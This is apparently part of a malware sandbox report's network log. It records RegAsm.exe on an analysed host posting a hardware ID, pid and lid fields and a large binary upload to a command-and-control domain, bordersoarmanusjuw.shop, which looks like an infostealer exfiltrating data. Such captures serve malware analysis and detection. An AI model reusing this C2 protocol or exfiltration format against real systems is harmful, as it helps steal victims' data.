2024-04-21 13:31:35 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 37 2e 35 32 0d 0a Data Ascii: fok 81.181.57.52
2024-04-21 13:31:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49769	172.67.189.66	443	2128	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-21 13:31:35 UTC	288	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8779 Host: bordersoarmanusjuw.shop
2024-04-21 13:31:35 UTC	8779	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 37 39 42 32 46 46 31 41 46 41 37 34 45 30 38 42 33 39 39 35 32 33 42 36 32 37 33 46 42 46 41 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"879B2FF1AFA74E08B399523B6273FBFA--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-04-21 13:31:36 UTC	816	IN	HTTP/1.1 200 OK Date: Sun, 21 Apr 2024 13:31:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=172t99gnf4428lvu1okc4s3sfg; expires=Thu, 15-Aug-2024 07:18:14 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jwHt5f9FAeOm0NT5tGxlFL5lWlgZ4mIVDKKuKtFsBC2d%2BJsvCT1QvJI7zpZPu%2BvNb%2FAe%2Fc8VTKcrp25EpzlKZoswdiJOl%2Bm7NrEELuCMe7y54BG0tyfEYoFHm7LU5ERXbY88A4teJ5XgLw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 877dbc3b4a497bba-ATL alt-svc: h3=":443"; ma=86400
2024-04-21 13:31:36 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 37 2e 35 32 0d 0a Data Ascii: fok 81.181.57.52
2024-04-21 13:31:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49770	172.67.189.66	443	2128	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-21 13:31:36 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20432 Host: bordersoarmanusjuw.shop
2024-04-21 13:31:36 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 37 39 42 32 46 46 31 41 46 41 37 34 45 30 38 42 33 39 39 35 32 33 42 36 32 37 33 46 42 46 41 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"879B2FF1AFA74E08B399523B6273FBFA--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-04-21 13:31:36 UTC	5101	OUT	Data Raw: 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 Data Ascii: `M?lrQMn 64F6(X&7~`aO
2024-04-21 13:31:36 UTC	820	IN	HTTP/1.1 200 OK Date: Sun, 21 Apr 2024 13:31:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ml8med8ogtb4r4t1mk8ut1jhbs; expires=Thu, 15-Aug-2024 07:18:15 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qdqAfx%2F8HWyB44NJqhKzBVydcpqE%2BJu5E80p%2FKGw2UaaOv9%2B3ZYP2fBSWx4VghY7oZHRdOl%2Bp0c4AFpjEF5VU0EiYGt7PePGXTWy%2F2A%2BJy2hWuS6EDul8sGHNBol64SQybNUKhP8GXLEJQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 877dbc404d507bc3-ATL alt-svc: h3=":443"; ma=86400
2024-04-21 13:31:36 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 37 2e 35 32 0d 0a Data Ascii: fok 81.181.57.52
2024-04-21 13:31:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49771	172.67.189.66	443	2128	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-21 13:31:37 UTC	288	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 7091 Host: bordersoarmanusjuw.shop
2024-04-21 13:31:37 UTC	7091	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 37 39 42 32 46 46 31 41 46 41 37 34 45 30 38 42 33 39 39 35 32 33 42 36 32 37 33 46 42 46 41 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"879B2FF1AFA74E08B399523B6273FBFA--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-04-21 13:31:37 UTC	820	IN	HTTP/1.1 200 OK Date: Sun, 21 Apr 2024 13:31:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=uh7nhh71jk1f34aj3t9aprhcgm; expires=Thu, 15-Aug-2024 07:18:16 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pBOWNxxhX7XmPMLnKd2Kau68I8R%2F8R%2BBb16%2BYb7jmhZdcnndau%2FYN7gXs2JjcKSp5WpjrXc28d9J6RletdzNszNVcvzed9KRYU%2FdV%2FTlTBagvWruljrbZ18eGziWZAOi%2F1W9KjGbHqWCGQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 877dbc459fdb44e4-ATL alt-svc: h3=":443"; ma=86400
2024-04-21 13:31:37 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 37 2e 35 32 0d 0a Data Ascii: fok 81.181.57.52
2024-04-21 13:31:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49772	172.67.189.66	443	2128	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-21 13:31:37 UTC	288	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1412 Host: bordersoarmanusjuw.shop
2024-04-21 13:31:37 UTC	1412	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 37 39 42 32 46 46 31 41 46 41 37 34 45 30 38 42 33 39 39 35 32 33 42 36 32 37 33 46 42 46 41 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"879B2FF1AFA74E08B399523B6273FBFA--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-04-21 13:31:38 UTC	814	IN	HTTP/1.1 200 OK Date: Sun, 21 Apr 2024 13:31:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2sg2vlsn0jeql5p53lq4eeblti; expires=Thu, 15-Aug-2024 07:18:17 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zWCvfMpWCalHPuBx0%2FvwDm4FiJjz6EyLLFCwDzF2zUVbTnKooqvUIPlaPmp0x%2B73nA1AGQi8M7kf3X9yBcbo%2FDK8J3WoLpuctgWGZECiPwakr%2BWu5x67QuskmmxtLkNC2p1XLMsGp6WfQg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 877dbc499e6eb077-ATL alt-svc: h3=":443"; ma=86400
2024-04-21 13:31:38 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 37 2e 35 32 0d 0a Data Ascii: fok 81.181.57.52
2024-04-21 13:31:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49773	172.67.189.66	443	2128	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-21 13:31:38 UTC	290	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 584522 Host: bordersoarmanusjuw.shop
2024-04-21 13:31:38 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 37 39 42 32 46 46 31 41 46 41 37 34 45 30 38 42 33 39 39 35 32 33 42 36 32 37 33 46 42 46 41 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"879B2FF1AFA74E08B399523B6273FBFA--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-04-21 13:31:38 UTC	15331	OUT	Data Raw: 26 3a e3 52 b8 55 3a 81 7a a0 c3 65 97 4b aa 7f 57 0f d7 38 70 6c ff 7b e4 20 c4 00 62 3a a7 43 3d 02 40 22 1c b6 99 87 18 c7 a4 c1 3e d8 3f 22 18 c3 fb 4b ae ce 9e 3e b6 0f b5 6e 16 c2 3e 21 08 6d e1 43 de 64 64 22 e0 1b aa 85 92 e0 fd 61 72 65 17 3f 88 d3 61 de 0f c3 10 f6 1b 57 d2 90 9a 56 20 74 1f c7 d5 91 31 b5 f6 40 0b 29 fd 38 98 21 9b a3 c6 ac 5a 47 0a d6 56 13 cf fc 6e b7 66 7f 75 92 09 0d 88 d5 a0 56 40 c7 f2 b9 81 4f 1b fb bb ab 3b cf cd d7 b8 7e ba f6 56 fc 7c 93 f6 5c 54 b5 dc ba fc 94 4e 48 fc 5e 83 91 bb f6 32 14 12 23 03 0d 8b ad a8 4d e5 2e 03 9f 7d d4 63 48 7f ae a3 ee 45 2e 6c e5 12 f5 d2 4c 82 4a 64 ad 20 d2 48 43 dd 97 c4 2f 9c 11 7d e7 b7 7a 4f ee f9 5a b7 24 85 1b 87 86 f4 62 4e ef a7 22 12 4a 82 bf 7c c9 de 2b 53 b4 c1 15 ca d9 4c Data Ascii: &:RU:zeKW8pl{ b:C=@">?"K>n>!mCdd"are?aWV t1@)8!ZGVnfuV@O;~V\|\TNH^2#M.}cHE.lLJd HC/}zOZ$bN"J\|+SL
2024-04-21 13:31:38 UTC	15331	OUT	Data Raw: be 26 1b fc f0 79 bc 31 8b c9 4d 8e 14 3a a6 db c7 10 df fe ec f5 bb 0a 84 e7 02 a3 9b ff c1 6b ef 58 2d d4 59 c3 6a 6a 52 a7 a3 e4 46 6a 63 c0 72 0a 95 f0 4b 6a 38 dd 38 40 fa 24 bc a1 1f 66 1c 4b f0 c2 90 50 0b c7 6f 35 47 6a cd 84 1f ea 30 86 fd db f4 a2 57 bf a1 a3 bd 7c b8 f6 95 68 4b ef 15 39 6d e5 2c 1d ec b3 8f 34 37 fc 2c 92 d4 cb 6f e3 c5 d7 96 7b 68 2b c3 cb 7c 7c 67 58 ff a5 85 39 37 d1 c7 1d 5c cf 92 d8 39 a3 91 92 a6 c3 01 cb 13 83 c5 c5 5b 9d 3f b3 05 0d 06 6e ff 39 25 e0 db b1 9c df 44 34 29 e9 24 bd 64 35 51 9d 63 b5 90 f9 9b 14 b3 fe 66 39 fe a5 1c 2a e2 51 69 52 aa 49 f4 c6 d9 b9 8f 3a 5c 06 dc 14 8b 6e fd 08 d2 b8 40 aa 47 68 42 ed 93 ab fc f3 fa 8a 1e bd 7a 23 dd 02 2e 7d 25 d2 0f 87 99 34 85 96 e0 50 2c 91 ae c7 5f 56 15 92 1e d4 e9 Data Ascii: &y1M:kX-YjjRFjcrKj88@$fKPo5Gj0W\|hK9m,47,o{h+\|\|gX97\9[?n9%D4)$d5Qcf9*QiRI:\n@GhBz#.}%4P,_V
2024-04-21 13:31:38 UTC	15331	OUT	Data Raw: 3f c9 a3 12 73 f7 12 fe a7 45 82 a4 6e 97 b6 aa c6 49 90 57 68 1c 17 fd 48 a3 05 d3 6e e5 97 f0 97 43 52 55 1b bc 51 5d 15 31 62 e0 d7 89 2b 64 75 7c 1d fa 77 a2 3e f3 3b 20 78 af cb b7 43 9b de 39 cd 47 d8 9e ad a1 d1 3c bc a1 85 25 5c db 87 ae 58 26 58 a6 92 c5 48 8e d4 5c 5f db c1 68 b1 dd 65 82 00 ee 6d 80 0d 6c 89 a0 df 58 26 2e f1 ab 29 20 49 92 29 4e 41 f3 74 2f 80 69 d3 c3 1b 53 8b 68 f3 81 c1 b0 80 f7 8f 8e de f9 c1 3a 00 54 c2 cf 0a 01 54 53 56 dc cd 8a 06 e5 89 c7 df db 2e cc 6b 55 6e f4 41 a4 84 cd 1c 11 f8 7d 0b 3d 09 b8 91 f3 83 da 5a e1 9a 98 97 2e 6b cd b8 f2 ef 7f 41 8e 25 32 6d 7c 39 a4 c4 c2 ad a4 e7 66 87 ad 17 39 6a e1 52 e2 cb 5f 0f 85 92 00 9b c8 a8 61 cf cc 5c ad 48 78 14 ec 34 b9 eb 2f f9 68 b6 90 69 84 82 b2 25 14 be ad 96 71 ad Data Ascii: ?sEnIWhHnCRUQ]1b+du\|w>; xC9G<%\X&XH\_hemlX&.) I)NAt/iSh:TTSV.kUnA}=Z.kA%2m\|9f9jR_a\Hx4/hi%q
2024-04-21 13:31:38 UTC	15331	OUT	Data Raw: ce f7 8a 6b 6c c0 92 10 ec da 40 ea 51 ac 02 4d be 1b bd 7e f7 98 a9 0a f6 f7 ca c0 05 5e 8d 28 b2 05 29 c7 2e 94 cb 95 18 8e da 28 e1 89 32 af 64 6a 48 db 5d a0 e6 38 6a 90 b2 60 78 93 5d 8c 62 d1 9e c2 f8 61 59 8e 03 1b 31 df 5b ca 38 e5 68 ae 8f a6 9f e3 79 e1 53 f7 b1 f3 ec e5 61 f2 31 05 b2 0e bc 3f a2 31 5c b5 b9 c1 18 2f 87 cd 76 ed ce 2b aa 44 71 f3 ef 1c 3b b5 07 09 1b 6a 8f bb 97 67 20 77 27 54 74 49 79 df 6e 21 83 cd 9e 81 16 3d 8d 44 a3 82 5d 76 0a f2 c3 e4 24 ee 4e d1 c9 8c 3b fb df b7 3e 26 62 76 32 5d 8c e0 51 6c df 46 3e 55 30 5b 70 3b 36 d6 17 7e ed 24 3a d1 e8 f0 bc 75 76 53 58 20 23 6e 38 3b 10 25 cc aa a8 20 bd 39 e3 40 db ee 7d 28 80 f4 9d b3 1a 8c d1 69 cc ff 49 08 14 be f6 45 6f 8f a0 0c 12 dc 4f 7b 46 ba b7 71 90 a3 d0 ce c3 ea ec Data Ascii: kl@QM~^().(2djH]8j`x]baY1[8hySa1?1\/v+Dq;jg w'TtIyn!=D]v$N;>&bv2]QlF>U0[p;6~$:uvSX #n8;% 9@}(iIEoO{Fq
2024-04-21 13:31:38 UTC	15331	OUT	Data Raw: b6 ab 52 86 75 7d 03 d6 ad aa e0 bc 35 91 3e c2 6f 7a f6 0b a1 ff 01 ca 83 6f 5e 87 65 09 a5 9a 18 34 e3 0a 17 2c ed 42 a7 38 fc 45 bc bd 9a 3d bb 9a 4e 1c 4e 0a 8a 44 38 f1 a4 79 a3 96 2e 29 a6 fb b2 fe 92 4b 9c 33 6e e6 2e 6b 22 ae 9b a5 36 6f 2b 31 32 a6 e3 00 8e 81 fb 79 74 7a 0d c6 0e 12 f1 a3 3f b0 85 5b 53 26 ed 35 38 b3 60 c5 26 ae e9 ef 88 1a 86 55 70 24 fa 61 cf 6e 37 a5 da ea 4b c1 50 3e ac 4b fb f9 75 17 bb f7 e6 e0 63 97 37 6d db 59 a6 74 b7 97 1b f5 57 85 4b c0 a2 a6 18 18 7e d5 ac 28 a5 72 5e ed 75 cb e5 fd af bf 2a de 6e 66 9a 13 16 5a e1 6a 06 93 a5 65 81 19 ea 4c f5 7f 18 b0 d8 44 8a f5 03 eb 6b 22 be f2 bd db 01 85 f3 3f b4 5f b7 95 7e 39 e6 44 67 51 e1 87 6d 87 e3 4e 54 af a0 23 65 7f 14 31 99 78 d1 81 4a ff 2f 48 7f 9a 86 ac 76 4e 5c Data Ascii: Ru}5>ozo^e4,B8E=NND8y.)K3n.k"6o+12ytz?[S&58`&Up$an7KP>Kuc7mYtWK~(r^u*nfZjeLDk"?_~9DgQmNT#e1xJ/HvN\
2024-04-21 13:31:38 UTC	15331	OUT	Data Raw: 53 89 b7 8d c2 69 7a 5d 2d 66 e1 bc c2 e2 6b 8b 49 c5 e8 72 c3 7f 1d df ec 21 86 05 fc 55 c8 3a 83 eb c3 02 53 61 98 b7 40 2c 31 70 f5 e3 da 62 44 52 0e 3f de 15 dc 57 7b f8 aa 4c 68 f1 74 13 02 25 96 53 87 57 13 33 bc 08 5c d2 53 b5 b0 ae 06 52 b9 e4 fe 2f a7 6b 84 24 38 1c 43 69 9b c8 65 5a 20 70 df df cd 8c 26 7d 0b 90 ee ef 28 a5 c2 05 5a 3b b5 18 2c eb 2b a7 d4 1a 31 1d 5d 48 e7 11 af af ef 9a db 22 f8 6b 20 d9 72 2b 27 65 83 cb 7d 00 82 23 ff 98 fb a7 e8 c2 f6 8f 96 20 ad 9b 80 b2 da 69 7d 18 e4 6f 61 3d be 80 85 74 31 c0 d3 47 cd d3 02 c4 34 e5 dc 2e 18 ef 7a 6d af 76 99 5b db 79 5f f0 9a af 64 8d 21 18 ce a9 81 5a 0f b6 66 bf c4 9d 00 d8 06 cc 90 02 55 5e 0c 88 b0 17 ff 1e ea 03 40 e1 05 58 18 4b 3d 82 64 ac 1d 91 99 95 cc ef fa 00 00 bd 4b 19 88 Data Ascii: Siz]-fkIr!U:Sa@,1pbDR?W{Lht%SW3\SR/k$8CieZ p&}(Z;,+1]H"k r+'e}# i}oa=t1G4.zmv[y_d!ZfU^@XK=dK
2024-04-21 13:31:38 UTC	15331	OUT	Data Raw: df 93 1a ad 6a 2f 90 49 59 9e f8 99 ea 28 3f 10 69 77 2d 3f 3d 0d 9d 33 8f 9f cb 54 23 8c 4b 63 11 5c a9 23 87 5e f4 d8 0f 84 1b 62 ec ba 3a 95 ac cb 9a dc 67 f4 32 33 4a 91 7d b2 fb ba 02 d3 69 7b 11 8c 52 b1 ae fb e5 3c 53 16 12 63 ea d2 cc 03 c6 6e 57 4a fd 67 5a bd 1a 5d 67 1f 1c aa e0 eb b6 81 f0 b8 ae 2f ae ff f0 20 b9 e0 21 d6 ce 59 fc 37 b2 a6 c5 c1 9b ce d3 cc 21 57 e2 d8 6c 5a f2 9c c2 b3 9e c0 55 2b 9b 5b 54 2c 25 f0 eb b5 a0 d9 bf bd 64 13 ea c5 2c a3 2b 10 b0 7b 18 39 97 f3 a5 9f 83 5f 9e 0d 96 ab 96 1a ea 53 59 67 2d 3f d3 55 18 52 0b 07 6d bc 40 5b 96 36 c3 c7 44 f1 2d e7 eb c1 6f c1 6f 7e d0 36 2f 2d 0c 1e 0d 81 58 3e a1 ed 6c 45 aa 2f 39 9d dc ab cb 89 bb f1 e5 ce ee 47 9c 0d 89 ec 4b 67 30 6b 57 9c e6 76 75 ce b8 97 b7 0f af ce 0e 33 ea Data Ascii: j/IY(?iw-?=3T#Kc\#^b:g23J}i{R<ScnWJgZ]g/ !Y7!WlZU+[T,%d,+{9_SYg-?URm@[6D-oo~6/-X>lE/9GKg0kWvu3
2024-04-21 13:31:38 UTC	15331	OUT	Data Raw: d9 8d ed 57 07 5e 7a 18 9d 92 74 4a a1 b3 a0 f5 ee 2d 1f 56 47 47 4f ad a3 40 0e 60 d7 3d ff e6 bd e2 3b 1f e1 c4 76 35 a6 8f fc 5a 7f 96 8b 34 d8 70 3f 02 48 2a c4 f6 3f 1b 59 bb ed dc 05 c4 05 10 b2 27 2f cf 9a fa 41 a5 77 b1 3e cf d2 a5 ef 38 58 65 38 67 1b 0b 0b c3 b6 a3 d5 51 21 97 bf d4 1c 96 52 a2 7b 71 4a 12 28 e8 68 43 1e 5e ec 82 69 6e 1b a3 51 98 c1 0e 91 c3 5e ac 49 c1 34 eb 17 5a 86 06 3d d3 e0 e4 50 6f 3c fb 57 a2 39 34 ec 0e 35 65 2a fb 04 df 6a 33 e0 d9 8e d6 9a 8a 6a 8a 51 b5 36 3a 62 b5 2f 10 dd 41 af 5f f3 5c 40 7a b0 21 f3 32 7c 5b ff d6 4f 62 02 4e c0 1b af 2a 7b d4 80 ef e9 bc 46 16 ba 52 33 11 e6 65 9b fa 4b da e6 55 b4 1b 8e f0 29 42 d2 97 1a f9 a9 cb cb 32 9f 88 d2 b8 49 65 b2 50 07 a0 18 f2 ca 04 92 89 17 48 42 94 fd 02 79 6f 6b Data Ascii: W^ztJ-VGGO@`=;v5Z4p?H?Y'/Aw>8Xe8gQ!R{qJ(hC^inQ^I4Z=Po<W945ej3jQ6:b/A_\@z!2\|[ObN*{FR3eKU)B2IePHByok
